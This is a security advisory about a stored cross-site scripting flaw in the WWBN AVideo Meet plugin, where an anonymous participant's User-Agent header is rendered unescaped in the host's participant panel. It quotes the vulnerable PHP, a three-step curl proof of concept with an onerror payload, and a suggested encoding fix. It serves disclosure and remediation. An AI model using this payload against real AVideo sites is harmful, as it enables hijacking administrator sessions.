PT-2026-55662 — XSS em Packagist Wwbn Avideo

PT-2026-55662 · Packagist · Wwbn Avideo

Publicado

2026-06-23

Atualizado

2026-06-23

CVSS v4.0

5.4

Média

Vetor

AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:P

Summary

The Meet plugin stores the raw HTTP User-Agent header of every meeting participant and later renders it without output encoding in the meeting-management ("Participants") panel that the meeting host and site administrators open. An anonymous, unauthenticated attacker can join any public meeting while sending a User-Agent header containing an HTML payload. The payload is persisted in meet join log.user agent and, when the host or an administrator opens the participant list, is injected verbatim into their DOM, executing attacker-controlled JavaScript in a privileged, authenticated session. This is a cross-privilege stored XSS: an anonymous visitor obtains script execution in the administrator's browser.

Affected versions

WWBN/AVideo at current master commit e8d6119f3cb1b849149906efeb0a41fc024f59f8 (and prior releases shipping the same code path). Not patched at the time of this report.

Privilege required

Writer (attacker): unauthenticated / anonymous. Joining a public meeting requires no account and no password.
Victim (trigger): the meeting host or any site administrator who opens the meeting's participant-management panel.

Vulnerable code (file:line)

The stored value is never sanitized on write, then echoed without encoding on read.

Write path — plugin/Meet/Objects/Meet join log.php:147:

php

  public function setUser agent($user agent)
  {
    $this->user agent = $user agent;
  }

Write path — plugin/Meet/Objects/Meet join log.php:177:

php

  public static function log($meet schedule id)
  {
    $log = new Meet join log(0);
    $log->setIp(getRealIpAddr());
    $log->setMeet schedule id($meet schedule id);
    $log->setUser agent((isMobile() ? "Mobile: " : "") . get browser name());
    $log->setUsers id(User::getId());
    return $log->save();
  }

get browser name() (objects/functionsBrowser.php:239 and :242) returns the original-case User-Agent verbatim for any agent not matched to a known browser name:

php

    return '[Bot] Other '.$user agent;
  }
  // error log("Unknow user agent ($t) IP=" . getRealIpAddr() . " URI=" . getRequestURI());
  return 'Other (Unknown) '.$user agent;

Only the lowercased match copy is used for classification; the returned string still contains the raw, original $ SERVER['HTTP USER AGENT']. Because the value bypasses AVideo's object-setter sanitization layer (unlike Meet schedule::setTopic(), which calls xss esc()), the raw bytes reach the database unchanged.

Read path — plugin/Meet/getMeetInfo.json.php:71:

php

            echo '<li class="list-group-item">#' . $count . " - " . User::getNameIdentificationById($value['users id']) . ' <span class="badge">' . $value['created'] . '</span><br><small class="text-muted">' . $value['user agent'] . '</small></li>';

$value['user agent'] is concatenated into the HTML with no htmlspecialchars(). The reader endpoint is gated by Meet schedule::canManageSchedule() (site admin OR the schedule owner), so the value is rendered in a privileged context.

How input reaches the sink

The join that records the log is reachable anonymously through plugin/Meet/iframe.php:11 and :17:

php

if (!Meet::validatePassword($meet schedule id, @$ REQUEST['meet password'])) {
  header("Location: {$global['webSiteRootURL']}plugin/Meet/confirmMeetPassword.php?meet schedule id=$meet schedule id");
  exit;
}
$objLive = AVideoPlugin::getObjectData("Live");
Meet join log::log($meet schedule id);

For a public meeting (public = 2), Meet::validatePassword() returns true for an anonymous request (no password set), so Meet join log::log() runs and stores the attacker's User-Agent. On the read side, the host/admin opens the participant modal, whose JavaScript fetches getMeetInfo.json.php and injects the response with jQuery .html() in plugin/Meet/meet scheduled.php:266:

                                success: function (response) {
                                  if (response.error) {
                                    avideoAlert("<?php echo  ("Sorry!"); ?>", response.msg, "error");
                                  } else {
                                    $('#Meet schedule2<?php echo $meet scheduled, $manageMeetings; ?>Modal .modal-body').html(response.html);
                                  }

.html(response.html) parses and inserts the attacker-controlled markup, so the injected onerror handler executes in the host/admin DOM.

Proof of concept — end-to-end reproduction (against pinned version)

Deployed against the project's official Docker stack (php8.5/apache2.4 + mariadb), pinned commit e8d6119f3cb1b849149906efeb0a41fc024f59f8. <TARGET> is the deployed host.

bash

# 1. As the admin, create a PUBLIC meeting (public=2, no password):
curl -sk -H 'Host: <TARGET>' -H "Cookie: $ADMIN SESSION" -H 'Referer: https://<TARGET>/' 
 --data-urlencode 'RoomTopic=Demo' --data-urlencode 'public=2' --data-urlencode 'RoomPasswordNew=' 
 'https://<TARGET>/plugin/Meet/saveMeet.json.php'
# Response: {"error":false,"meet schedule id":1, ...}

# 2. As an ANONYMOUS attacker (no cookie), join the meeting while sending an HTML
#  payload in the User-Agent. The trailing token " http" forces get browser name()
#  into the raw-reflecting "[Bot] Other" branch.
curl -sk -H 'Host: <TARGET>' -H 'Referer: https://<TARGET>/' 
 -A '<img src=x onerror=alert(document.domain)> http' 
 'https://<TARGET>/plugin/Meet/iframe.php?meet schedule id=1&meet password='
# HTTP 200. Stored row: meet join log.user agent =
#  [Bot] Other <img src=x onerror=alert(document.domain)> http

# 3. As the host/admin, open the participant panel:
curl -sk -H 'Host: <TARGET>' -H "Cookie: $ADMIN SESSION" -H 'Referer: https://<TARGET>/plugin/Meet/' 
 'https://<TARGET>/plugin/Meet/getMeetInfo.json.php?meet schedule id=1'

The JSON html field contains the payload unescaped:

html

<small class="text-muted">[Bot] Other <img src=x onerror=alert(document.domain)> http</small>

When the admin opens the participant modal in a browser, jQuery .html(response.html) injects this markup and the onerror handler executes in the admin's authenticated session, printing document.domain.

Negative control: joining with a benign browser User-Agent (Mozilla/5.0 (Windows NT 10.0) Chrome/120.0 Safari/537.36) causes get browser name() to return Chrome, which renders as plain text <small class="text-muted">Chrome</small> with no markup injection.

Impact

Cross-privilege stored XSS: an unauthenticated, anonymous visitor achieves JavaScript execution in the meeting host's and site administrator's authenticated browser sessions.
Full account-takeover surface: theft of the admin session, CSRF-token exfiltration, and arbitrary authenticated actions (user and permission changes, plugin configuration) performed as the administrator.
The payload persists in the database and fires for every privileged user who reviews the participant list of the affected meeting.

Suggested fix

Encode the stored value at the sink in plugin/Meet/getMeetInfo.json.php:71:

php

. '</span><br><small class="text-muted">' . htmlspecialchars($value['user agent'], ENT QUOTES, 'UTF-8') . '</small></li>';

Defense in depth: sanitize the value on write in Meet join log::setUser agent(), mirroring the setter-layer encoding used by Meet schedule::setTopic() (xss esc()), so any other current or future reader of meet join log.user agent is also protected.

Fix PR

A fix is provided on the advisory's private temporary fork: WWBN/AVideo-ghsa-7cqp-7cfv-6c3q#1 (encodes the participant User-Agent at the sink with htmlspecialchars($value['user agent'], ENT QUOTES, 'UTF-8')).

Credit

Reported by tonghuaroot.

Correção

XSS

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dbugs@ptsecurity.com

Enumeração de Fraquezas

CWE-79

Identificadores relacionados

GHSA-7CQP-7CFV-6C3Q

Produtos afetados

Wwbn Avideo